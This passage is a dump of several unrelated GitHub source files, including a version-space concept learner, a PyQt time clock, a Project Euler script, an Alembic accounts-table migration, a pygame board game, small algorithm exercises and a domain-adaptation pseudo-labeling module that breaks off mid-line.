new_hypothesis.cover(positive_example) and any(g > new_hypothesis for g in G.members):\n yield new_hypothesis\n\n def __repr__(self):\n return f\"<{', '.join(constraint.name for constraint in self.constraints)}>\"\n\nclass BoundarySet:\n\n def __init__(self, init_members: list[Hypothesis]):\n self.members = init_members\n\n def remove_inconsistency(self, example: list[Taxonomy], classification: bool):\n if classification is True:\n self.members = [hypothesis for hypothesis in self.members if hypothesis.cover(example)]\n else:\n self.members = [hypothesis for hypothesis in self.members if not hypothesis.cover(example)]\n\n def generalize(self, positive_example: list[Taxonomy], G: \"BoundarySet\"):\n new_S_members: list[Hypothesis] = []\n for s in self.members:\n if not s.cover(positive_example):\n for new_s in s.minimal_generalizations(positive_example, G):\n new_S_members.append(new_s)\n else:\n new_S_members.append(s)\n self.members = [s for s in new_S_members if not any(s > another for another in new_S_members)]\n\n def specialize(self, negative_example: list[Taxonomy], S: \"BoundarySet\"):\n new_G_members: list[Hypothesis] = []\n for g in self.members:\n if g.cover(negative_example):\n for new_g in g.minimal_specializations(negative_example, S):\n new_G_members.append(new_g)\n else:\n new_G_members.append(g)\n self.members = [g for g in new_G_members if not any(another > g for another in new_G_members)]\n\n def __repr__(self):\n return f\"{{{', '.join(str(hypothesis) for hypothesis in self.members)}}}\"\n\nclass VersionSpace:\n\n def __init__(self, init_S: BoundarySet, init_G: BoundarySet):\n self.S = init_S\n self.G = init_G\n\n def learn(self, examples: Iterable[tuple[list[Taxonomy], bool]]):\n S, G = self.S, self.G\n print(\"Initial Version Space\")\n print(f\"S0: {S}\")\n print(f\"G0: {G}\\n\")\n for i, (example, classification) in enumerate(examples, start=1):\n if classification is True:\n G.remove_inconsistency(example, classification)\n S.generalize(example, G)\n else:\n S.remove_inconsistency(example, classification)\n G.specialize(example, S)\n print(f\"{i}: {'+' if classification is True else '-'}{example}\")\n print(f\"S{i}: {S}\")\n print(f\"G{i}: {G}\\n\")\n self.generate_intermediate_hypotheses()\n print(\"Final Version Space\")\n self.show()\n\n def generate_intermediate_hypotheses(self):\n S, G = self.S, self.G\n self.hypotheses = [G.members]\n base_layer = G.members\n middle_layer: set[Hypothesis] = set()\n generated: set[Hypothesis] = set()\n while True:\n for b in base_layer:\n for i, constraint in enumerate(b.constraints):\n more_specific_constraints = constraint.sub_groups\n for more_specific_constraint in more_specific_constraints:\n new_constraints = b.constraints.copy()\n new_constraints[i] = more_specific_constraint\n new_hypothesis = Hypothesis(new_constraints)\n if new_hypothesis not in generated and any(new_hypothesis > s for s in S.members):\n middle_layer.add(new_hypothesis)\n if len(middle_layer) == 0:\n break\n else:\n self.hypotheses.append(list(middle_layer))\n generated.update(middle_layer)\n base_layer, middle_layer = middle_layer, set()\n self.hypotheses.append(S.members)\n\n def show(self):\n if not hasattr(self, \"hypotheses\"):\n self.generate_intermediate_hypotheses()\n print(\"Most General\")\n for layer in self.hypotheses:\n print(\", \".join(str(hypothesis) for hypothesis in layer))\n print(\"Most Specific\\n\")\n\n def classify(self, new_instance: list[Taxonomy]):\n \"\"\"\n return\n classification: bool\n confidence: float\n \"\"\"\n if not hasattr(self, \"hypotheses\"):\n self.generate_intermediate_hypotheses()\n positive, all = 0, 0\n for layer in self.hypotheses:\n for hypothesis in layer:\n if hypothesis.cover(new_instance):\n positive += 1\n all += 1\n if positive * 2 > all:\n return True, positive / all\n else:\n return False, (all - positive) / all\n\nif __name__ == \"__main__\":\n\n # EnjoySport\n\n # Sky\n NoSky = Taxonomy(\"_\", [])\n Sunny = Taxonomy(\"Sunny\", [NoSky])\n Cloudy = Taxonomy(\"Cloudy\", [NoSky])\n Rainy = Taxonomy(\"Rainy\", [NoSky])\n AnySky = Taxonomy(\"?\", [Sunny, Cloudy, Rainy])\n\n # AirTemp\n NoAirTemp = Taxonomy(\"_\", [])\n Hot = Taxonomy(\"Hot\", [NoAirTemp])\n Cold = Taxonomy(\"Cold\", [NoAirTemp])\n AnyAirTemp = Taxonomy(\"?\", [Hot, Cold])\n\n # Humidity\n NoHumidity = Taxonomy(\"_\", [])\n Normal = Taxonomy(\"Normal\", [NoHumidity])\n High = Taxonomy(\"High\", [NoHumidity])\n AnyHumidity = Taxonomy(\"?\", [Normal, High])\n\n # Wind\n NoWind = Taxonomy(\"_\", [])\n Strong = Taxonomy(\"Strong\", [NoWind])\n Weak = Taxonomy(\"Weak\", [NoWind])\n AnyWind = Taxonomy(\"?\", [Strong, Weak])\n\n # Water\n NoWater = Taxonomy(\"_\", [])\n Warm = Taxonomy(\"Warm\", [NoWater])\n Cool = Taxonomy(\"Cool\", [NoWater])\n AnyWater = Taxonomy(\"?\", [Warm, Cool])\n\n # Forecast\n NoForecast = Taxonomy(\"_\", [])\n Same = Taxonomy(\"Same\", [NoForecast])\n Change = Taxonomy(\"Change\", [NoForecast])\n AnyForecast = Taxonomy(\"?\", [Same, Change])\n\n EXAMPLES = [\n ([Sunny, Hot, Normal, Strong, Warm, Same], True),\n ([Sunny, Hot, High, Strong, Warm, Same], True),\n ([Rainy, Cold, High, Strong, Warm, Change], False),\n ([Sunny, Hot, High, Strong, Cool, Change], True),\n ]\n\n S = BoundarySet([Hypothesis([NoSky, NoAirTemp, NoHumidity, NoWind, NoWater, NoForecast])])\n G = BoundarySet([Hypothesis([AnySky, AnyAirTemp, AnyHumidity, AnyWind, AnyWater, AnyForecast])])\n VS = VersionSpace(S, G)\n VS.learn(EXAMPLES)\n\n NEW_INSTANCES = [\n [Sunny, Hot, Normal, Strong, Cool, Change],\n [Rainy, Cold, Normal, Weak, Warm, Same],\n [Sunny, Hot, Normal, Weak, Warm, Same],\n [Sunny, Cold, Normal, Strong, Warm, Same],\n ]\n for new_instance in NEW_INSTANCES:\n classification, confidence = VS.classify(new_instance)\n print(f\"Classify: {new_instance}\")\n print(f\"Classification: {'Positive' if classification is True else 'Negative'}\")\n print(f\"Confidence: {confidence}\\n\")\n\n ##########################################################################################################\n\n # # LiveTogether\n\n # # Sex\n # NoSex = Taxonomy(\"_\", [])\n # Male = Taxonomy(\"Male\", [NoSex])\n # Female = Taxonomy(\"Female\", [NoSex])\n # AnySex = Taxonomy(\"?\", [Male, Female])\n\n # # Hair\n # NoHair = Taxonomy(\"_\", [])\n # Black = Taxonomy(\"Black\", [NoHair])\n # Brown = Taxonomy(\"Brown\", [NoHair])\n # Blonde = Taxonomy(\"Blonde\", [NoHair])\n # AnyHair = Taxonomy(\"?\", [Black, Brown, Blonde])\n\n # # Height\n # NoHeight = Taxonomy(\"_\", [])\n # Tall = Taxonomy(\"Tall\", [NoHeight])\n # Medium = Taxonomy(\"Medium\", [NoHeight])\n # Short = Taxonomy(\"Short\", [NoHeight])\n # AnyHeight = Taxonomy(\"?\", [Tall, Medium, Short])\n\n # # Nationality\n # NoNationality = Taxonomy(\"_\", [])\n # American = Taxonomy(\"American\", [NoNationality])\n # French = Taxonomy(\"French\", [NoNationality])\n # German = Taxonomy(\"German\", [NoNationality])\n # Irish = Taxonomy(\"Irish\", [NoNationality])\n # Indian = Taxonomy(\"Indian\", [NoNationality])\n # Japanese = Taxonomy(\"Japanese\", [NoNationality])\n # Portuguese = Taxonomy(\"Portuguese\", [NoNationality])\n # AnyNationality = Taxonomy(\"?\", [American, French, German, Irish, Indian, Japanese, Portuguese])\n\n # EXAMPLES = [\n # ([Male, Brown, Tall, American, Female, Black, Short, American], True),\n # ([Male, Brown, Short, French, Female, Black, Short, American], True),\n # ([Female, Brown, Tall, German, Female, Black, Short, Indian], False),\n # ([Male, Brown, Tall, Irish, Female, Brown, Short, Irish], True),\n # ]\n\n # S = BoundarySet([Hypothesis([NoSex, NoHair, NoHeight, NoNationality, NoSex, NoHair, NoHeight, NoNationality])])\n # G = BoundarySet([Hypothesis([AnySex, AnyHair, AnyHeight, AnyNationality, AnySex, AnyHair, AnyHeight, AnyNationality])])\n # VS = VersionSpace(S, G)\n # VS.learn(EXAMPLES)\n\n # NEW_INSTANCE = [Male, Black, Short, Portuguese, Female, Blonde, Tall, Indian]\n # classification, confidence = VS.classify(NEW_INSTANCE)\n # print(f\"Classify: {NEW_INSTANCE}\")\n # print(f\"Classification: {'Positive' if classification is True else 'Negative'}\")\n # print(f\"Confidence: {confidence}\")\n","repo_name":"panyutsriwirote/MachineLearningCode","sub_path":"ConceptLearning/CandidateElimination.py","file_name":"CandidateElimination.py","file_ext":"py","file_size_in_byte":13257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36519499748","text":"import sys\r\nimport controle\r\nfrom PyQt5.QtWidgets import QMainWindow, QApplication\r\nfrom datetime import datetime, timedelta\r\n\r\n\r\nclass ControlePonto(QMainWindow, controle.Ui_MainWindow):\r\n def __init__(self, parent=None):\r\n super().__init__(parent)\r\n super().setupUi(self)\r\n self.h = 0\r\n self.m = 0\r\n self.horas_para_trabalhar = datetime.strptime(\"00:00:00\", '%H:%M:%S')\r\n\r\n self.btn_horas.clicked.connect(self.pega_hora)\r\n self.btn_minutos.clicked.connect(self.pega_minuto)\r\n\r\n self.entrada.setStyleSheet('background: green;')\r\n self.saida.setStyleSheet('background: red;')\r\n self.saida.setDisabled(True)\r\n\r\n self.entrada.clicked.connect(self.hora_entrada)\r\n self.saida.clicked.connect(self.hora_saida)\r\n\r\n def pega_hora(self):\r\n self.h = int(self.input_horas.text())\r\n self.input_horas.setDisabled(True)\r\n self.horas_para_trabalhar += timedelta(hours=self.h)\r\n self.qtd_hora_restantes.setText(str(self.horas_para_trabalhar.time()))\r\n\r\n def pega_minuto(self):\r\n self.m = int(self.input_minutos.text())\r\n self.input_minutos.setDisabled(True)\r\n self.horas_para_trabalhar += timedelta(minutes=self.m)\r\n self.qtd_hora_restantes.setText(str(self.horas_para_trabalhar.time()))\r\n\r\n def botoes(self):\r\n if self.estado:\r\n self.entrada.setStyleSheet('background: green;')\r\n self.saida.setStyleSheet('background: red;')\r\n self.entrada.setDisabled(False)\r\n self.saida.setDisabled(True)\r\n else:\r\n self.entrada.setStyleSheet('background: red;')\r\n self.saida.setStyleSheet('background: green;')\r\n self.saida.setDisabled(False)\r\n self.entrada.setDisabled(True)\r\n\r\n def hora_entrada(self):\r\n self.entrou = datetime.now()\r\n relato = self.entrou.strftime('%d/%m/%Y %H:%M:%S') + ' ENTRADA'\r\n self.relatorio.setText(relato)\r\n self.estado = False\r\n self.botoes()\r\n\r\n def hora_saida(self):\r\n self.saiu = datetime.now()\r\n relato = self.saiu.strftime('%d/%m/%Y %H:%M:%S') + ' SAIDA'\r\n self.relatorio.setText(relato)\r\n self.estado = True\r\n self.botoes()\r\n self.calculo_horas_trabalhadas()\r\n\r\n def calculo_horas_trabalhadas(self):\r\n tempo_trabalhado = datetime.strptime(self.saiu.strftime('%H:%M:%S'), '%H:%M:%S') - \\\r\n datetime.strptime(self.entrou.strftime('%H:%M:%S'), '%H:%M:%S')\r\n qtd_nova = (self.horas_para_trabalhar - timedelta(seconds=tempo_trabalhado.seconds)).time()\r\n self.qtd_hora_restantes.setText(str(qtd_nova))\r\n self.horas_para_trabalhar -= timedelta(seconds=tempo_trabalhado.seconds)\r\n\r\n\r\nif __name__ == '__main__':\r\n qt = QApplication(sys.argv)\r\n control = ControlePonto()\r\n control.show()\r\n qt.exec_()\r\n","repo_name":"RoberttReis/ControlePonto","sub_path":"ControlePontoVer1.py","file_name":"ControlePontoVer1.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21763491376","text":"from itertools import permutations, accumulate, repeat, count, takewhile\nfrom collections import Counter\nfrom math import pow\n\n\ndef cubic_permutations_inefficient(x: int):\n \"\"\"\n Suboptimal implementation, computing all of the permutations is too expensive.\n \"\"\"\n perms = set(map(lambda p: int(''.join(p)), permutations(str(x))))\n min_perm = min(perms)\n max_perm = max(perms)\n min_cubic_root = round(pow(min_perm, 1/3))\n r = min_cubic_root\n print('start scan')\n while True:\n cube = r * r * r\n if cube > max_perm:\n break\n if cube in perms:\n yield r, cube\n r += 1\n\n\ndef exp2():\n return accumulate(repeat(2), lambda e, _: 2 * e)\n\n\ndef cube(y):\n return y * y * y\n\n\ndef is_perm(a, b):\n return Counter(str(a)) == Counter(str(b))\n\n\ndef cubic_permutations(x):\n min_perm = int(''.join(sorted(str(x))))\n max_perm = int(''.join(sorted(str(x), reverse=True)))\n r = round(pow(min_perm, 1/3))\n cubes = takewhile(lambda c: c <= max_perm, map(cube, count(r)))\n return filter(lambda c: is_perm(x, c), cubes)\n\n\ndef main():\n perms_seen = set()\n for x, c in zip(count(2), map(cube, count(2))):\n num_permutations = sum(1 for _ in cubic_permutations(c))\n print(x, '->', c, '->', num_permutations)\n if num_permutations not in perms_seen:\n # print(x, '->', x * x * x, '->', num_permutations)\n perms_seen.add(num_permutations)\n if num_permutations == 5:\n break\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"bearjah/Project_Euler","sub_path":"cubic_permutations.py","file_name":"cubic_permutations.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13780001703","text":"\"\"\"New accounts table\n\nRevision ID: cfb0ed4cced9\nRevises: 1edcdfbc7780\nCreate Date: 2018-07-10 13:26:01.588708\n\n\"\"\"\nfrom json import dumps as to_json\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy import text, inspect\nfrom sqlalchemy.dialects import mysql\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cfb0ed4cced9'\ndown_revision = '1edcdfbc7780'\n\nselect_ai = 'SELECT AUTO_INCREMENT FROM information_schema.TABLES WHERE TABLE_SCHEMA = :db AND TABLE_NAME = :table'\nselect_cfg_item = 'SELECT value FROM config_items WHERE namespace_prefix = :ns AND `key` = :key'\nselect_acct_types = 'SELECT account_type_id, account_type FROM account_types'\ninsert_acct_type = 'INSERT INTO account_types (account_type) VALUES (:name)'\ninsert_acct = (\n 'INSERT INTO accounts_new (account_id, account_name, account_type_id, contacts, enabled, required_roles)'\n ' VALUES(:id, :name, :type_id, :contacts, :enabled, :required_roles)'\n)\ninsert_acct_prop = 'INSERT INTO account_properties (account_id, name, value) VALUES (:id, :name, :value)'\n\n\ndef upgrade():\n create_new_tables()\n migrate_data()\n switch_tables()\n\n\ndef downgrade():\n raise Exception('You cannot downgrade from this version')\n\n\ndef create_new_tables():\n op.create_table('account_types',\n sa.Column('account_type_id', mysql.INTEGER(unsigned=True), nullable=False, autoincrement=True),\n sa.Column('account_type', sa.String(length=100), nullable=False),\n sa.PrimaryKeyConstraint('account_type_id')\n )\n op.create_index(op.f('ix_account_types_account_type'), 'account_types', ['account_type'], unique=True)\n\n op.create_table('accounts_new',\n sa.Column('account_id', mysql.INTEGER(unsigned=True), nullable=False),\n sa.Column('account_name', sa.String(length=256), nullable=False),\n sa.Column('account_type_id', mysql.INTEGER(unsigned=True), nullable=False),\n sa.Column('contacts', mysql.JSON(), nullable=False),\n sa.Column('enabled', mysql.SMALLINT(unsigned=True), nullable=False),\n sa.Column('required_roles', mysql.JSON(), nullable=True),\n sa.ForeignKeyConstraint(\n ('account_type_id',),\n ['account_types.account_type_id'],\n name='fk_account_account_type_id',\n ondelete='CASCADE'\n ),\n sa.PrimaryKeyConstraint('account_id')\n )\n op.create_index(op.f('ix_accounts_new_account_name'), 'accounts_new', ['account_name'], unique=True)\n op.create_index(op.f('ix_accounts_new_account_type_id'), 'accounts_new', ['account_type_id'], unique=False)\n\n op.create_table('account_properties',\n sa.Column('property_id', mysql.INTEGER(unsigned=True), nullable=False, autoincrement=True),\n sa.Column('account_id', mysql.INTEGER(unsigned=True), nullable=False),\n sa.Column('name', sa.String(length=50), nullable=False),\n sa.Column('value', mysql.JSON(), nullable=False),\n sa.ForeignKeyConstraint(\n ('account_id',),\n ['accounts_new.account_id'],\n name='fk_account_properties_account_id',\n ondelete='CASCADE'\n ),\n sa.PrimaryKeyConstraint('property_id', 'account_id')\n )\n op.create_index(op.f('ix_account_properties_account_id'), 'account_properties', ['account_id'], unique=False)\n op.create_index(op.f('ix_account_properties_name'), 'account_properties', ['name'], unique=False)\n\n\ndef migrate_data():\n conn = op.get_bind()\n account_types = {x['account_type']: x['account_type_id'] for x in conn.execute(text(select_acct_types))}\n try:\n schema = inspect(conn.engine).default_schema_name\n conn.execute('SET FOREIGN_KEY_CHECKS=0')\n res = conn.execute(text(select_ai), {'db': schema, 'table': 'accounts'})\n acct_auto_increment = next(res)['AUTO_INCREMENT']\n\n for acct_type in ('AWS', 'DNS: AXFR', 'DNS: CloudFlare'):\n if acct_type not in account_types:\n conn.execute(text(insert_acct_type), {'name': acct_type})\n account_types[acct_type] = get_insert_id(conn)\n\n res = conn.execute('SELECT * FROM accounts')\n for acct in res:\n if acct['account_type'] == 'AWS':\n conn.execute(\n text(insert_acct),\n {\n 'id': acct['account_id'],\n 'name': acct['account_name'],\n 'type_id': account_types['AWS'],\n 'contacts': acct['contacts'],\n 'enabled': acct['enabled'],\n 'required_roles': acct['required_roles']\n }\n )\n conn.execute(\n text(insert_acct_prop),\n {\n 'id': acct['account_id'],\n 'name': 'account_number',\n 'value': to_json(acct['account_number'])\n }\n )\n\n conn.execute(\n text(insert_acct_prop),\n {\n 'id': acct['account_id'],\n 'name': 'ad_group_base',\n 'value': to_json(acct['ad_group_base'] or '')\n }\n )\n print('Migrated {} account {}'.format(acct['account_type'], acct['account_name']))\n\n elif acct['account_type'] == 'DNS_AXFR':\n conn.execute(\n text(insert_acct),\n {\n 'id': acct['account_id'],\n 'name': acct['account_name'],\n 'type_id': account_types['DNS: AXFR'],\n 'contacts': acct['contacts'],\n 'enabled': acct['enabled'],\n 'required_roles': acct['required_roles']\n }\n )\n server = get_config_value(conn, 'collector_dns', 'axfr_server')\n domains = get_config_value(conn, 'collector_dns', 'axfr_domains')\n\n conn.execute(text(insert_acct_prop), {'id': acct['account_id'], 'name': 'server', 'value': [server]})\n conn.execute(text(insert_acct_prop), {'id': acct['account_id'], 'name': 'domains', 'value': domains})\n print('Migrated {} account {}'.format(acct['account_type'], acct['account_name']))\n\n elif acct['account_type'] == 'DNS_CLOUDFLARE':\n conn.execute(\n text(insert_acct),\n {\n 'id': acct['account_id'],\n 'name': acct['account_name'],\n 'type_id': account_types['DNS: CloudFlare'],\n 'contacts': acct['contacts'],\n 'enabled': acct['enabled'],\n 'required_roles': acct['required_roles']\n }\n )\n api_key = get_config_value(conn, 'collector_dns', 'cloudflare_api_key')\n email = get_config_value(conn, 'collector_dns', 'cloudflare_email')\n endpoint = get_config_value(conn, 'collector_dns', 'cloudflare_endpoint')\n\n conn.execute(text(insert_acct_prop), {'id': acct['account_id'], 'name': 'api_key', 'value': api_key})\n conn.execute(text(insert_acct_prop), {'id': acct['account_id'], 'name': 'email', 'value': email})\n conn.execute(text(insert_acct_prop), {'id': acct['account_id'], 'name': 'endpoint', 'value': endpoint})\n\n print('Migrated {} account {}'.format(acct['account_type'], acct['account_name']))\n\n else:\n print('Invalid account type: {}'.format(acct['account_type']))\n conn.execute(text('ALTER TABLE accounts_new AUTO_INCREMENT = :counter'), {'counter': acct_auto_increment})\n finally:\n conn.execute('SET FOREIGN_KEY_CHECKS=1')\n\n\ndef switch_tables():\n conn = op.get_bind()\n conn.execute('SET FOREIGN_KEY_CHECKS=0')\n conn.execute('DROP TABLE accounts')\n conn.execute('ALTER TABLE resources MODIFY `account_id` int(10) unsigned')\n conn.execute('ALTER TABLE accounts_new RENAME accounts')\n conn.execute('ALTER TABLE accounts RENAME INDEX `ix_accounts_new_account_name` TO `ix_accounts_account_name`')\n conn.execute('ALTER TABLE accounts RENAME INDEX `ix_accounts_new_account_type_id` TO `ix_accounts_account_type_id`')\n conn.execute('SET FOREIGN_KEY_CHECKS=1')\n\n\ndef get_insert_id(conn):\n return next(conn.execute('SELECT LAST_INSERT_ID()'))[0]\n\n\ndef get_config_value(conn, ns, item):\n return next(conn.execute(text(select_cfg_item), {'ns': ns, 'key': item}))['value']\n","repo_name":"RiotGames/cloud-inquisitor","sub_path":"backend/cloud_inquisitor/data/migrations/versions/cfb0ed4cced9_new_accounts_table.py","file_name":"cfb0ed4cced9_new_accounts_table.py","file_ext":"py","file_size_in_byte":8663,"program_lang":"python","lang":"en","doc_type":"code","stars":453,"dataset":"github-code","pt":"3"} +{"seq_id":"26120858282","text":"import pygame\nimport stany\nclass wyswietl():\n\n screen = pygame.display.set_mode((1280, 720))\n czcionka=pygame.font.SysFont(\"comicsansms\",20)\n czcionka1=pygame.font.SysFont(\"comicsansms\",30)\n\n okienka = [\n pygame.image.load(\"poprawna.png\"),\n pygame.image.load(\"zla.png\"),\n pygame.image.load(\"pytanie1.jpg\")\n ]\n \n\n Pionek= pygame.image.load(\"Pi.png\")\n wspolrzednePionka=pygame.Rect(176,58,20,20)\n\n plansza = pygame.image.load(\"plansza1.jpg\")\n\n kostki = None\n stan = None\n\n\n def __init__(self,stan: \"stanGry\"):\n self.stan = stan\n self.kostki = [pygame.image.load(\"1.png\"),\n pygame.image.load(\"2.png\"),\n pygame.image.load(\"3.png\"),\n pygame.image.load(\"4.png\"),\n pygame.image.load(\"5.png\"),\n pygame.image.load(\"6.png\")]\n def w_plansze(self):\n self.screen.blit(self.plansza, [0, 0])\n\n def w_okienko(self,typ):\n self.screen.blit(self.okienka[typ],(220,200))\n\n def w_kostke(self,x):\n self.screen.blit(self.kostki[x-1], (1100,600))\n\n def w_text(self,text,x,y):\n render=self.czcionka.render(text,1,(0, 0, 0)) \n self.screen.blit(render,(x,y)) #wyswietla odp a\n\n def w_obrazek(self,obrazek,x,y):\n self.screen.blit(obrazek, (x,y))\n\n def przesunPionek(self,rzut):\n if self.stan.getPozycja() < 15:\n self.wspolrzednePionka.x +=41*rzut\n elif self.stan.getPozycja() < 30:\n self.wspolrzednePionka.y +=41*rzut\n elif self.stan.getPozycja() < 45:\n self.wspolrzednePionka.x -=41*rzut\n elif self.stan.getPozycja() < 60:\n self.wspolrzednePionka.y -=41*rzut\n\n def draw(self):\n text_render = self.czcionka1.render(str(self.stan.getECTSY), 1, (0, 0, 0))\n self.screen.blit(text_render,(90,30)) # ECTS\n self.screen.blit(self.Pionek, self.wspolrzednePionka) # pionek\n\n #///////////////////////\n pygame.display.update()\n pygame.display.flip()","repo_name":"wiphand/git-repo","sub_path":"Games/mathBoardgame/wyswietlanie.py","file_name":"wyswietlanie.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14341762469","text":"'''// https://www.hackerrank.com/challenges/migratory-birds/problem?utm_campaign=challenge-recommendation&utm_medium=email&utm_source=24-hour-campaign\n\n// Given an array of bird sightings where every element represents a bird type id, determine the id of the most frequently sighted type. If more than 1 type has been spotted that maximum amount, return the smallest of their ids.\n\n// Example\n\n// arr = [1,1,2,2,3]\n\n// There are two each of types 1 and 2, and one sighting of type 3. Pick the lower of the two types seen twice: type 1.\n\n// Function Description\n\n// Complete the migratoryBirds function in the editor below.\n\n// migratoryBirds has the following parameter(s):\n\n// int arr[n]: the types of birds sighted\n\n// Returns\n// int: the lowest type id of the most frequently sighted birds\n\n// Input Format\n// The first line contains an integer, , the size of .\n// The second line describes as space-separated integers, each a type number of the bird sighted.\n\n// Constraints\n// 5 <= n <= 2 * 10^5\n// It is guaranteed that each type is 1, 2, 3, 4, or 5.\n\n// Sample Input 0\n// 6\n// 1 4 4 4 5 3\n\n// Sample Output 0\n// 4\n\nApproach: migratoryBirds function, initialize list called bird_count, will have six elements, loop over each bird in array, increase bird count, use max to return highest value in the bird_count list, loop over bird_count list, if bird_count[i] == max_sightings, return i, this will return the lowest type id of the most frequently sighted birds\n'''\n\ndef migratoryBirds(arr):\n \n bird_count = [0] * 6 \n for bird in arr:\n bird_count[bird] += 1\n\n \n \n max_sightings = max(bird_count)\n for i in range(len(bird_count)):\n if bird_count[i] == max_sightings:\n return i \n\n'''arr = [1, 4, 4, 4, 5, 3] works with this input, check if it will work if it will print the lower of types seen more than once'''\narr = [1, 4, 4, 4, 5, 5, 5, 3]\nprint(migratoryBirds(arr)) ","repo_name":"Janinenw/Algo-Practice-Python","sub_path":"migratory_birds/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7972641399","text":"def puiss_rec(x, n):\n \"\"\"\n Exponentiation rapide par récursion\n pre: `n` >= 0\n post: retourne `x`^`n`\n \"\"\"\n if n == 0:\n return 1\n elif n % 2 == 0:\n return puiss_rec(x * x, n // 2)\n else:\n return x * puiss_rec(x * x, (n - 1) // 2)\n\n\n# Exemple de test:\nif not puiss_rec(10, 0) == 1:\n print(\"Erreur: 10 puissance 0 = 1\")\n","repo_name":"Oldgram/SINFEDU","sub_path":"LINFO1103/TP06/expo.py","file_name":"expo.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"fr","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"14805518466","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/3/17 14:24\n# @Author : wenzhang\n# @File : func_utils.py\nimport os.path as osp\nimport os\nimport numpy as np\nimport random\nimport torch as tr\nimport torch.nn as nn\nfrom scipy.spatial.distance import cdist\nfrom utils.utils import lr_scheduler\n\n\ndef obtain_label_decision(loader, netF, netC):\n start_test = True\n with tr.no_grad():\n iter_test = iter(loader)\n for _ in range(len(loader)):\n data = iter_test.next()\n inputs, labels = data[0].cuda(), data[1]\n feas = netF(inputs.float())\n outputs = netC(feas)\n if start_test:\n all_fea = feas.float().cpu()\n all_output = outputs.float().cpu()\n all_label = labels.float()\n start_test = False\n else:\n all_fea = tr.cat((all_fea, feas.float().cpu()), 0)\n all_output = tr.cat((all_output, outputs.float().cpu()), 0)\n all_label = tr.cat((all_label, labels.float()), 0)\n\n all_output = nn.Softmax(dim=1)(all_output)\n _, predict = tr.max(all_output, 1)\n\n all_fea = tr.cat((all_fea, tr.ones(all_fea.size(0), 1)), 1)\n all_fea = (all_fea.t() / tr.norm(all_fea, p=2, dim=1)).t()\n all_fea = all_fea.float().cpu().numpy()\n\n K = all_output.size(1)\n aff = all_output.float().cpu().numpy()\n initc = aff.transpose().dot(all_fea)\n initc = initc / (1e-8 + aff.sum(axis=0)[:, None])\n\n dd = cdist(all_fea, initc, 'cosine')\n pred_label = dd.argmin(axis=1)\n\n for round in range(1): # SSL\n aff = np.eye(K)[pred_label]\n initc = aff.transpose().dot(all_fea)\n initc = initc / (1e-8 + aff.sum(axis=0)[:, None])\n\n return initc, all_fea\n\n\ndef obtain_label_shot(loader, netF, netC):\n start_test = True\n with tr.no_grad():\n iter_test = iter(loader)\n for _ in range(len(loader)):\n data = iter_test.next()\n inputs = data[0]\n labels = data[1]\n inputs = inputs.cuda()\n feas = netF(inputs)\n outputs = netC(feas)\n if start_test:\n all_fea = feas.float().cpu()\n all_output = outputs.float().cpu()\n all_label = labels.float()\n start_test = False\n else:\n all_fea = tr.cat((all_fea, feas.float().cpu()), 0)\n all_output = tr.cat((all_output, outputs.float().cpu()), 0)\n all_label = tr.cat((all_label, labels.float()), 0)\n\n all_output = nn.Softmax(dim=1)(all_output)\n # print(all_output.shape)\n # ent = tr.sum(-all_output * tr.log(all_output + args.epsilon), dim=1)\n # unknown_weight = 1 - ent / np.log(args.class_num)\n _, predict = tr.max(all_output, 1)\n\n accuracy = tr.sum(tr.squeeze(predict).float() == all_label).item() / float(all_label.size()[0])\n\n all_fea = tr.cat((all_fea, tr.ones(all_fea.size(0), 1)), 1)\n all_fea = (all_fea.t() / tr.norm(all_fea, p=2, dim=1)).t()\n\n all_fea = all_fea.float().cpu().numpy()\n K = all_output.size(1)\n aff = all_output.float().cpu().numpy()\n\n initc = aff.transpose().dot(all_fea)\n initc = initc / (1e-8 + aff.sum(axis=0)[:, None])\n\n cls_count = np.eye(K)[predict].sum(axis=0)\n labelset = np.where(cls_count > 0)\n labelset = labelset[0]\n\n dd = cdist(all_fea, initc[labelset], 'cosine')\n pred_label = dd.argmin(axis=1)\n pred_label = labelset[pred_label]\n # acc = np.sum(pred_label == all_label.float().numpy()) / len(all_fea)\n # log_str = 'Accuracy = {:.2f}% -> {:.2f}%'.format(accuracy * 100, acc * 100)\n # print(log_str+'\\n')\n\n for round in range(1):\n aff = np.eye(K)[pred_label]\n initc = aff.transpose().dot(all_fea)\n initc = initc / (1e-8 + aff.sum(axis=0)[:, None])\n dd = cdist(all_fea, initc[labelset], 'cosine')\n pred_label = dd.argmin(axis=1)\n pred_label = labelset[pred_label]\n\n acc = np.sum(pred_label == all_label.float().numpy()) / len(all_fea)\n log_str = 'Accuracy = {:.2f}% -> {:.2f}%'.format(accuracy * 100, acc * 100)\n # print(log_str + '\\n')\n\n return pred_label.astype('int'), dd\n\n\ndef update_decision(dset_loaders, netF_list, netC_list, netG_list, optimizer, info_loss, args):\n max_iter = len(dset_loaders[\"target\"])\n num_src = len(args.src)\n\n iter_num = 0\n while iter_num < max_iter:\n iter_target = iter(dset_loaders[\"target\"])\n inputs_target, _, tar_idx = iter_target.next()\n if inputs_target.size(0) == 1:\n continue\n inputs_target = inputs_target.cuda()\n\n # 每10个epoch才进行一次pseudo labels增强\n # 这样改仅从75.54到75.61,变化很小\n interval_iter = 10\n if iter_num % interval_iter == 0 and args.cls_par > 0:\n initc = []\n all_feas = []\n for i in range(num_src):\n netF_list[i].eval()\n temp1, temp2 = obtain_label_decision(dset_loaders['Target'], netF_list[i], netC_list[i])\n temp1 = tr.from_numpy(temp1).cuda()\n temp2 = 